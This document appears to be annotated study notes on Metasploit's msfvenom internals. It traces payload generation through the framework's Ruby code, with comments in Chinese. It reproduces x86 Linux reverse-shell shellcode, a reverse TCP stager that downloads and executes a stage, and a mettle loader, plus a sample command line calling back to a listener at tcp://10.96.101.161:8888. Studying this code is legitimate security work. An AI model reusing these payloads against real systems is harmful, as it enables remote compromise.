#
    # Available formats are :process_image, :dylib, :dylib_sha1 and :exec
    #
    def to_binary(format=:process_image)
      # 读取模板
      bin = self.class.read(@platform, format)
      unless @config.empty?
        # 将配置文件转化为串 `mettle -U "E1tOcvbz2ZSWf5B+9xap0g==" -G "AAAAAAAAAAAAAAAAAAAAAA==" -u "tcp://10.96.101.161:8888" -d "0" -o "" -b "0" ` +  "\x00" * (CMDLINE_MAX - cmd_line.length)
        params = generate_argv
        # 将串插入到模板中
        bin = add_args(bin, params)
      end
      bin
    end

def add_args(bin, params)
      if params[8] != "\x00"
        # 替换对应位置内容，查询知应为rdata区。
        bin.sub(CMDLINE_SIG +  ' ' * (CMDLINE_MAX - CMDLINE_SIG.length), params)
      else
        bin
      end
    end

    
"\x31\xdb"             + #   xor ebx,ebx
    "\xf7\xe3"             + #   mul ebx
    "\x53"                 + #   push ebx
    "\x43"                 + #   inc ebx
    "\x53"                 + #   push ebx
    "\x6a\x02"             + #   push byte +0x2
    "\x89\xe1"             + #   mov ecx,esp
    "\xb0\x66"             + #   mov al,0x66 (sys_socketcall)
    "\xcd\x80"             + #   int 0x80
    "\x93"                 + #   xchg eax,ebx
    "\x59"                 + #   pop ecx
    "\xb0\x3f"             + #   mov al,0x3f (sys_dup2)
    "\xcd\x80"             + #   int 0x80
    "\x49"                 + #   dec ecx
    "\x79\xf9"             + #   jns 0x11
    "\x68" + [IPAddr.new(datastore['LHOST'], Socket::AF_INET).to_i].pack('N') + #   push ip addr
    "\x68\x02\x00" + [datastore['LPORT'].to_i].pack('S>') + #   push port
    "\x89\xe1"             + #   mov ecx,esp
    "\xb0\x66"             + #   mov al,0x66 (sys_socketcall)
    "\x50"                 + #   push eax
    "\x51"                 + #   push ecx
    "\x53"                 + #   push ebx
    "\xb3\x03"             + #   mov bl,0x3
    "\x89\xe1"             + #   mov ecx,esp
    "\xcd\x80"             + #   int 0x80
    "\x52"                 + #   push edx
    # Split shellname into 4-byte words and push them one-by-one
    # on to the stack
    shell_padded.bytes.reverse.each_slice(4).map do |word|
      "\x68" + word.reverse.pack('C*')
    end.join +
    "\x89\xe3"             + #   mov ebx,esp
    "\x52"                 + #   push edx
    "\x53"                 + #   push ebx
    "\x89\xe1"             + #   mov ecx,esp
    "\xb0\x0b"             + #   mov al,0xb (execve)
    "\xcd\x80"              #   int 0x80

    asm = %Q^
        push #{retry_count}        ; retry counter
        pop esi
      create_socket:
        xor ebx, ebx
        mul ebx
        push ebx
        inc ebx
        push ebx
        push 0x2
        mov al, 0x66
        mov ecx, esp
        int 0x80                   ; sys_socketcall (socket())
        xchg eax, edi              ; store the socket in edi
      set_address:
        pop ebx                    ; set ebx back to zero
        push #{encoded_host}
        push #{encoded_port}
        mov ecx, esp
      try_connect:
        push 0x66
        pop eax
        push eax
        push ecx
        push edi
        mov ecx, esp
        inc ebx
        int 0x80                   ; sys_socketcall (connect())
        test eax, eax
        jns mprotect
      handle_failure:
        dec esi
        jz failed
        push 0xa2
        pop eax
        push 0x#{sleep_nanoseconds.to_s(16)}
        push 0x#{sleep_seconds.to_s(16)}
        mov ebx, esp
        xor ecx, ecx
        int 0x80                   ; sys_nanosleep
        test eax, eax
        jns create_socket
        jmp failed
    ^
    asm << asm_send_uuid if include_send_uuid
    asm << %Q^
      mprotect:
        mov dl, 0x#{mprotect_flags.to_s(16)}
        mov ecx, 0x1000
        mov ebx, esp
        shr ebx, 0xc
        shl ebx, 0xc
        mov al, 0x7d
        int 0x80                  ; sys_mprotect
        test eax, eax
        js failed
      recv:
        pop ebx
        mov ecx, esp
        cdq
        mov #{read_reg},  0x#{read_length.to_s(16)}
        mov al, 0x3
        int 0x80                  ; sys_read (recv())
        test eax, eax
        js failed
        jmp ecx
      failed:
        mov eax, 0x1
        mov ebx, 0x1              ; set exit status to 1
        int 0x80                  ; sys_exit
    ^
    asm
  end

    %(
      push edi                    ; save sockfd
      xor ebx, ebx                ; address
      mov ecx, #{payload.length}  ; length
      mov edx, 7                  ; PROT_READ | PROT_WRITE | PROT_EXECUTE
      mov esi, 34                 ; MAP_PRIVATE | MAP_ANONYMOUS
      xor edi, edi                ; fd
      xor ebp, ebp                ; pgoffset
      mov eax, 192                ; mmap2
      int 0x80                    ; syscall
      ; receive mettle process image
      mov edx, eax                ; save buf addr for next code block
      pop ebx                     ; sockfd
      push 0x00000100             ; MSG_WAITALL
      push #{payload.length}      ; size
      push eax                    ; buf
      push ebx                    ; sockfd
      mov ecx, esp                ; arg array
      mov ebx, 10                 ; SYS_READ
      mov eax, 102                ; sys_socketcall
      int 0x80                    ; syscall
      ; setup stack
      pop edi
      xor ebx, ebx
      and esp, 0xfffffff0         ; align esp
      add esp, 40
      mov eax, 109
      push eax
      mov esi, esp
      push ebx                    ; NULL
      push ebx                    ; AT_NULL
      push edx                    ; mmap buffer
      mov eax, 7
      push eax                    ; AT_BASE
      push ebx                    ; end of ENV
      push ebx                    ; NULL
      push edi                    ; sockfd
      push esi                    ; m
      mov eax, 2
      push eax                    ; argc
      ; down the rabbit hole
      mov eax, #{entry_offset}
      add edx, eax
      jmp edx
    )
  end

/usr/share/metasploit-framework/lib/msf/core/payload.rb:303:in `generate_complete'
/usr/share/metasploit-framework/lib/msf/core/encoded_payload.rb:118:in `generate_raw'
/usr/share/metasploit-framework/lib/msf/core/encoded_payload.rb:74:in `generate'
/usr/share/metasploit-framework/lib/msf/core/encoded_payload.rb:24:in `create'
/usr/share/metasploit-framework/lib/msf/base/simple/payload.rb:52:in `generate_simple'
/usr/share/metasploit-framework/lib/msf/base/simple/payload.rb:139:in `generate_simple'
/usr/share/metasploit-framework/lib/msf/core/payload_generator.rb:478:in `generate_raw_payload'
/usr/share/metasploit-framework/lib/msf/core/payload_generator.rb:422:in `generate_payload'
/usr/bin/msfvenom:469:in `<main>'

begin
  venom_generator = Msf::PayloadGenerator.new(generator_opts)
  payload = venom_generator.generate_payload
rescue Msf::InvalidFormat => e
  $stderr.puts "Error: #{e.message}"
  $stderr.puts dump_formats
rescue ::Exception => e
  elog("#{e.class} : #{e.message}\n#{e.backtrace * "\n"}")
  $stderr.puts "Error: #{e.message}"
end

# This method is a wrapper around all of the other methods. It calls the correct
    # methods in order based on the supplied options and returns the finished payload.
    # @return [String] A string containing the bytes of the payload in the format selected
    def generate_payload
        ...
        raw_payload = generate_raw_payload
        raw_payload = add_shellcode(raw_payload)
        ## 后面是原始payload编码混淆
        if encoder != nil and encoder.start_with?("@")
          raw_payload = multiple_encode_payload(raw_payload)
        else
          raw_payload = encode_payload(raw_payload)
        end
        if padnops
          @nops = nops - raw_payload.length
        end
        raw_payload = prepend_nops(raw_payload)
        gen_payload = format_payload(raw_payload)
      end

 
# This method generates the raw form of the payload as generated by the payload module itself.
    # @raise [Msf::IncompatiblePlatform] if no platform was selected for a stdin payload
    # @raise [Msf::IncompatibleArch] if no arch was selected for a stdin payload
    # @raise [Msf::IncompatiblePlatform] if the platform is incompatible with the payload
    # @raise [Msf::IncompatibleArch] if the arch is incompatible with the payload
    # @return [String] the raw bytes of the payload to be generated
    def generate_raw_payload
      if payload == 'stdin'
        if arch.blank?
          raise IncompatibleArch, "You must select an arch for a custom payload"
        elsif platform.blank?
          raise IncompatiblePlatform, "You must select a platform for a custom payload"
        end
        stdin
      else
        raise PayloadGeneratorError, "A payload module was not selected" if payload_module.nil?
        chosen_platform = choose_platform(payload_module)
        if chosen_platform.platforms.empty?
          raise IncompatiblePlatform, "The selected platform is incompatible with the payload"
        end
        chosen_arch = choose_arch(payload_module)
        unless chosen_arch
          raise IncompatibleArch, "The selected arch is incompatible with the payload"
        end
        # 这里是生成的位置
        payload_module.generate_simple(
            'Format'      => 'raw',
            'Options'     => datastore,
            'Encoder'     => nil,
            'MaxSize'     => @space,
            'DisableNops' => true
        )
      end
    end

  
#
  # Calls the class method.
  #
  def generate_simple(opts, &block)
    Msf::Simple::Payload.generate_simple(self, opts, &block)
  end

  
#
  # Generate a payload with the mad skillz.  The payload can be generated in
  # a number of ways.
  #
  # opts can have:
  #
  #   Encoder     => A encoder module name.
  #   BadChars    => A string of bad characters.
  #   Format      => The format to represent the data as: ruby, perl, c, raw
  #   Options     => A hash of options to set.
  #   OptionStr   => A string of options in VAR=VAL form separated by
  #                  whitespace.
  #   NoComment   => Disables prepention of a comment
  #   NopSledSize => The number of NOPs to use
  #   MaxSize     => The maximum size of the payload.
  #   Iterations  => Number of times to encode.
  #   Force       => Force encoding.
  #
  # raises:
  #
  #   BadcharError => If the supplied encoder fails to encode the payload
  #   NoKeyError => No valid encoder key could be found
  #   ArgumentParseError => Options were supplied improperly
  #
  def self.generate_simple(payload, opts, &block)
    # Clone the module to prevent changes to the original instance
    payload = payload.replicant
    Msf::Simple::Framework.simplify_module(payload)
    yield(payload) if block_given?
    # Import any options we may need
    payload._import_extra_options(opts)
    framework = payload.framework
    # Generate the payload
    e = EncodedPayload.create(payload,
        'BadChars'    => opts['BadChars'],
        'MinNops'     => opts['NopSledSize'],
        'PadNops'     => opts['PadNops'],
        'Encoder'     => opts['Encoder'],
        'Iterations'  => opts['Iterations'],
        'ForceEncode' => opts['ForceEncode'],
        'DisableNops' => opts['DisableNops'],
        'Space'       => opts['MaxSize'])
   ...

  
#
  # This method creates an encoded payload instance and returns it to the
  # caller.
  #
  def self.create(pinst, reqs = {})
    # Create the encoded payload instance
    p = EncodedPayload.new(pinst.framework, pinst, reqs)
    p.generate(reqs['Raw'])
    return p
  end

#
  # This method generates the full encoded payload and returns the encoded
  # payload buffer.
  #
  # @return [String] The encoded payload.
  def generate(raw = nil)
    self.raw           = raw
    self.encoded       = nil
    self.nop_sled_size = 0
    self.nop_sled      = nil
    self.encoder       = nil
    self.nop           = nil
    # Increase thread priority as necessary.  This is done
    # to ensure that the encoding and sled generation get
    # enough time slices from the ruby thread scheduler.
    priority = Thread.current.priority
    if (priority == 0)
      Thread.current.priority = 1
    end
    begin
      # First, validate
      pinst.validate()
      # Propagate space information when set
      unless self.space.nil?
        # Tell the payload how much space is available
        pinst.available_space = self.space
        # Reserve 10% of the available space if encoding is required
        pinst.available_space -= (self.space * 0.1).ceil if needs_encoding
      end
      # Generate the raw version of the payload first
      generate_raw() if self.raw.nil?
....

  
#
  # Generates the raw payload from the payload instance.  This populates the
  # {#raw} attribute.
  #
  # @return [String] The raw, unencoded payload.
  def generate_raw
    self.raw = (reqs['Prepend'] || '') + pinst.generate_complete + (reqs['Append'] || '')
    # If an encapsulation routine was supplied, then we should call it so
    # that we can get the real raw payload.
    if reqs['EncapsulationRoutine']
      self.raw = reqs['EncapsulationRoutine'].call(reqs, raw)
    end
  end

#
  # Generates the payload and returns the raw buffer to the caller,
  # handling any post-processing tasks, such as prepended code stubs.
  def generate_complete
    apply_prepends(generate)
  end

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